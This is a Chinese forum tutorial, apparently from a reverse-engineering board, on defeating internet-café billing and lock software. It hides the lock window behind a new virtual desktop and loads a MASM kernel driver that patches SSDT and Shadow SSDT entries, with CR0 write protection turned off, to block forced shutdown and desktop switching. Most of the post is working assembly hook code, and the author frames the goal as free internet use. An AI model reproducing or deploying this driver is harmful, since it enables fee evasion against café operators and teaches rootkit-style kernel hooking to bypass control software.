网管软件玩隐身,API巧破网管软件 (驱动版)
----写给曾经的黑防 hccker0058(nohacks) 一.寻寻觅觅,开始前的可行性分析
网管类程序锁定电脑的时候,都会有一个会员登陆窗口,我们一般的思路是结束它的进程,即Kill,但是我们有没有想过,还有没有别的什么办法?况且这样阻断了网管程序与服务器的通讯,网管也会发现的,再说,如果我们碰到了像病毒一样的网管程序怎么也Kill不掉该怎么办了?
咦,有办法了!大家都知道老板键吧,当Office中老板独特的嗓音(脚步声,呼吸声)响起之时,手无寸铁的白领MM一瞬间一键隐藏了自己正在浏览的网站界面和应用程序界面......隐藏窗口也就是本文的思路--隐藏网吧管理软件的客户端会员登陆窗口! 二.先知后行
要实现隐藏窗口的目地可以借助WindowsAPI涵数,目前我所知道的有2种方法:
1.通过API涵数ShowWindow直接隐藏网管软件的窗口。
2.通过创建一个虚拟桌面,达到另类隐藏的目的。
本文主要讲第二种方法:创建虚拟桌面,主要流程如下:通过CreateDesktop创建一个虚拟桌面,SetThreadDesktop设置线程桌面,SwitchDesktop切换桌面,不用时用CloseDesktop关闭桌面。
新建桌面并没有帮我们加载外壳explorer.exe,需要我们手动加载,可以用CreateProcess来创建。
函数原型:
BOOL CreateProcess
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes。
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
有10个参数,其实我们特别要注意的只是倒数第二个参数lpStartupInfo,它指向一个用于决定新进程的主窗体如何显示的STARTUPINFO结构体
STARTUPINFO.lpDesktop 就是设置运行的桌面,提供桌面标示即可,和CreateDesktop的第一个参数相同。
下面是一段MASM的代码,就是用来在新桌面加载外壳的。
StartMyExplore proc LOCAL sui:STARTUPINFO
LOCAL pi:PROCESS_INFORMATION
;invoke RtlZeroMemory,addr sui,SIZEOF STARTUPINFO
mov sui.cb,SIZEOF STARTUPINFO
mov sui.lpDesktop,offset IdDesktop
invoke CreateProcess,NULL,CTEXT("explorer"),NULL,NULL,TRUE,CREATE_DEFAULT_ERROR_MODE or
CREATE_SEPARATE_WOW_VDM,NULL,NULL,addr sui,addr pi
ret
StartMyExplore endp
到这里,我们的新桌面算是可以正常工作了,网管软件在旧桌面,它不会影响我们的新桌面,这样网管软件的锁定对我们无效了。
解决了锁定的问题,我们在来看关机的问题,因为网管软件在锁定一段时间内没有人解锁会自动关机的。
在ring3下关机一般是通过调用ExitWindowsEx来实现的,我们在RING3下挂钩这个函数也可以实现拦截关机,但是可能只对一般的程序有效,现在的计费软件会直接调用内核函数暴力关机,因此我们需要挂钩内核函数。
在WINXP里正常关机最终会调用内核函数NtUserCallOneParam,而在32位 Win7下会调用内核函数NtUserCallNoParam,一般情况下,我们HOOK这2个函数就可以阻止关机。
另外NtInitiatePowerAction和NtSetSystemPowerState这2个SSDT函数也可以实现关机,我们也要照顾到。 new_NtInitiatePowerAction proc SystemAction,MinSystemState,Flags, Asynchronous
; .if SystemAction==PowerActionShutdown || SystemAction==PowerActionShutdownReset
;
; mov eax,STATUS_UNSUCCESSFUL
;
; ret
;
; .endif
;
; push Asynchronous
; push Flags
; push MinSystemState
; push SystemAction
; call old_NtInitiatePowerAction
; ret
mov eax,STATUS_UNSUCCESSFUL
ret
new_NtInitiatePowerAction endp
new_NtSetSystemPowerState proc SystemAction,MinSystemState,Flags
; .if SystemAction==PowerActionShutdown || SystemAction==PowerActionShutdownReset
;
; mov eax,STATUS_UNSUCCESSFUL
;
; ret
;
; .endif
;
; push Flags
; push MinSystemState
; push SystemAction
; call old_NtSetSystemPowerState
; ret
mov eax,STATUS_UNSUCCESSFUL
ret
new_NtSetSystemPowerState endp
上面的代码,直接让它返回STATUS_UNSUCCESSFUL,使其调用失败。
另外,有些网管程序可能会检查当前桌面并会切换回原桌面,我们还需要挂钩
NtUserSwitchDesktop: new_NtUserSwitchDesktop PROC hDesktop mov eax,STATUS_UNSUCCESSFUL
ret
new_NtUserSwitchDesktop endp
但这样后,为了使我们的应用层也能使用SwitchDesktop,我们可以通过ControlDriver给驱动程序发送
SwitchDesktop需要的参数,然后在驱动DispatchControl例程里直接调用原函数:
;应用程需要切换桌面
.elseif dwIoControlCode==IOCTL_CODE(802h)
mov eax,pSystemBuffer
push dword ptr[eax]
call old_NtUserSwitchDesktop
mov eax, STATUS_SUCCESS 为了实现拦截切换桌面,关机的目的,我们需要挂钩5个函数:NtUserSwitchDesktop,NtUserCallOneParam,
NtUserCallNoParam,NtSetSystemPowerState,NtSetSystemPowerState.
那么如何挂钩呢?那要从系统服务描述符表说起。
SSDT(System Services Descriptor Table),系统服务描述符表。这个表就是一个把ring3的Win32 API和ring0的内核API联系起来。SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。
通过修改此表的函数地址可以对常用windows函数及API进行hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块,
SSDT到底是什么呢?打一个比方,SSDT相当于系统内部API的指向标,作用就是告诉系统,需要调用的API在什么地方。
;服务表结构
SYSTEM_SERVICE_TABLE struct
ServiceTableBase dd ? ;这里是组入口指针
ServiceCounterTableBase dd ? ;此处是调用次数计数数组
NumberOfServices dd ? ;服务入口的个数
ParamTableBase dd ? ;服务参数字节数的数组
SYSTEM_SERVICE_TABLE ends
PSYSTEM_SERVICE_TABLE typedef PTR SYSTEM_SERVICE_TABLE
;SSDT&&SSSDT表结构
SYSTEM_DESCRIPTOR_TABLE struct
ntoskrnl SYSTEM_SERVICE_TABLE <> ;ntoskrnl.exe (native api)
win32k SYSTEM_SERVICE_TABLE <> ;win32k.sys (gdi/user)
Table3 SYSTEM_SERVICE_TABLE <> ;not used
Table4 SYSTEM_SERVICE_TABLE <> ;not used
SYSTEM_DESCRIPTOR_TABLE ends
PSYSTEM_DESCRIPTOR_TABLE typedef PTR PSYSTEM_DESCRIPTOR_TABLE
内核中存在两个系统服务描述符表,一个是KeServiceDescriptorTable(由ntoskrnl.exe导出),一个是KeServieDescriptorTableShadow
(没有导出)。
很不幸的是,我们要HOOK的这2个函数都在KeServieDescriptorTableShadow,属于SSSDT函数,值得庆贺的是我们可以通过KTHREAD.ServiceTable搜索得
到SSSDT基址,代码比较长,这里就不贴了,大家可以看附件代码。
得到SSSDT的基址后,我们通过服务号很容易定位到存函数指针存储地址,我们就可以修改存储地址的内容来个达到HOOK的目的。
和ring3的HOOK一样,这些内容默认是不可写的,我们可以操作cr0寄存器来修改写保护,代码如下:
;***************************************************************************
; 根据给出的服务序号和替代服务地址修改ssdt表,返回值为原服务地址
;***************************************************************************
EditSSDT proc uses ebx ecx lpbase:dword ,dwIndex:dword,lpNowProc:dword
invoke MmIsAddressValid,lpNowProc ;检查地址是否有效
.if al== FALSE
;invoke DbgPrint, $CTA0("无效地址:%8X\n"),lpNowProc
mov eax,FALSE
ret
.endif
mov ecx, dwIndex
mov eax, lpbase ;SYSTEM_SERVICE_TABLE .if ecx>[eax+8] ;判断服务序号是否超出服务总数
mov eax,FALSE
ret
.endif
mov eax,[eax] ;SSDT的指针
mov ebx,[eax+ecx*4] ;原地址
.if lpNowProc==ebx ;原地址和要修改的地址相同,代表已经修改,直接返回假
mov eax,FALSE
ret
.endif
push ebx ;入栈,保存原来的ServerBase
lea ecx,[eax+ecx*4] ;取序号地址 也就是 mov ecx,eax+ecx*4 push ecx ;保护ecx, MmIsAddressValid函数会修改ECX的值
invoke MmIsAddressValid,[ecx] ;检查地址是否有效
pop ecx
.if al== FALSE
pop eax ;恢复堆栈
;invoke DbgPrint, $CTA0("无效地址:%8X\n"),ecx
mov eax,FALSE
ret
.endif ;去掉写保护
push eax
cli
mov eax, cr0
and eax, not 10000h
mov cr0, eax
pop eax ;修改 SSDT
push lpNowProc
pop dword ptr[ecx]
;恢复写保护
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
pop eax
pop eax ;出栈,返回值为原服务地址
ret
EditSSDT endp
调用很简单:
invoke EditSSDT,SSSDT, NtUserCallNoParam_callnumber,offset new_NtUserCallNoParam
.if eax
mov old_NtUserCallNoParam,eax
.endif
在驱动初始时,我们就需要获取SSDT表基地址及SSSDT表基地址,然后判断系统来设置函数服务号,还有一些其他工作:
InitHook proc
;HOOK SSSDT 必须在GUI线程上下文操作才有效,DispatchControl 操作会加载win32k.sys,加载win32k.sys后,系统导出的
KeServiceDescriptorTable表会失效
;这时HOOK SSDK 直接用找到的SSSDT基址即可,SSSDT表在第二个数组。
;取SSDT表基地址
invoke GetServiceDescriptorTableShadowAddress
mov SSDT,eax
;取SSSDT表基地址(win32.sys)
add eax,size SYSTEM_SERVICE_TABLE
mov SSSDT,eax
invoke DbgPrint,$CTA0("SSSDT BASE: %8X\n"),eax
;取系统版本
invoke GetWindowsVersion
mov WINDOWS_VERSION,eax ;只确定WINXP和WIN7的SSSDT序号是正确的,其他系统请修改。
.if eax==WINDOWS_VERSION_2K mov NtUserCallNoParam_callnumber,142h
mov NtUserCallOneParam_callnumber,143h mov Rcode,38h
ret .elseif eax==WINDOWS_VERSION_XP || eax==WINDOWS_VERSION_2K3 mov NtUserCallNoParam_callnumber,142h
mov NtUserCallOneParam_callnumber,143h
mov NtInitiatePowerAction_callnumber ,93
mov NtSetSystemPowerState_callnumber ,241
mov NtUserSwitchDesktop_callnumber,558
mov Rcode,34h
ret
.else
mov NtUserCallNoParam_callnumber,14dh
mov NtUserCallOneParam_callnumber,14eh
mov NtInitiatePowerAction_callnumber ,150
mov NtSetSystemPowerState_callnumber ,351
mov NtUserSwitchDesktop_callnumber,594
mov Rcode,10h
ret
.endif ret
InitHook endp
初始后,我们就可以进行挂钩了,要注意的是SSSDT表只有在GUI线程才有加载,非GUI线程访问会蓝屏,有2种方法解决这个问题:
1. 附加一个GUI进程
2. 用户层通过ControlDriver与驱动交互时执行。
本文采用的第二种方法:
.if dwIoControlCode==IOCTL_CODE(800h) ;IOCTL_GET_HOOK invoke StartHook
mov eax, STATUS_SUCCESS .elseif dwIoControlCode==IOCTL_CODE(801h) ;IOCTL_GET_UnHOOK
invoke StopHook
mov eax, STATUS_SUCCESS
开始挂钩: StartHook proc
;SSDT层禁止关机重启 invoke EditSSDT,SSDT,SYSCALL_INDEX(ZwInitiatePowerAction ),offset new_NtInitiatePowerAction
.if eax
mov old_NtInitiatePowerAction,eax
.endif
; invoke DbgPrint,$CTA0("SSSDT BASE: %8X\n"),SYSCALL_INDEX(ZwSetSystemPowerState)
invoke EditSSDT,SSDT, NtSetSystemPowerState_callnumber,offset new_NtSetSystemPowerState
.if eax
mov old_NtSetSystemPowerState,eax
.endif
;
;禁止切换桌面
invoke EditSSDT,SSSDT, NtUserSwitchDesktop_callnumber,offset new_NtUserSwitchDesktop
.if eax
mov old_NtUserSwitchDesktop,eax
.endif
;
; ;SSSDT层禁止关机/重启/注销 .if WINDOWS_VERSION==WINDOWS_VERSION_XP || WINDOWS_VERSION==WINDOWS_VERSION_2K ||
WINDOWS_VERSION==WINDOWS_VERSION_2K3
invoke EditSSDT,SSSDT, NtUserCallOneParam_callnumber,offset new_NtUserCallOneParam
.if eax
mov old_NtUserCallOneParam,eax
.endif .else
invoke EditSSDT,SSSDT, NtUserCallNoParam_callnumber,offset new_NtUserCallNoParam
.if eax
mov old_NtUserCallNoParam,eax
.endif .endif
ret
StartHook endp
OK,主要流程就是这样了,现在计费软件锁定对我们无效,关机被我们拦截,这样是不是意味着免费上网?呵呵。
我的博客:http://nohacks.cn 欢迎来踩
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: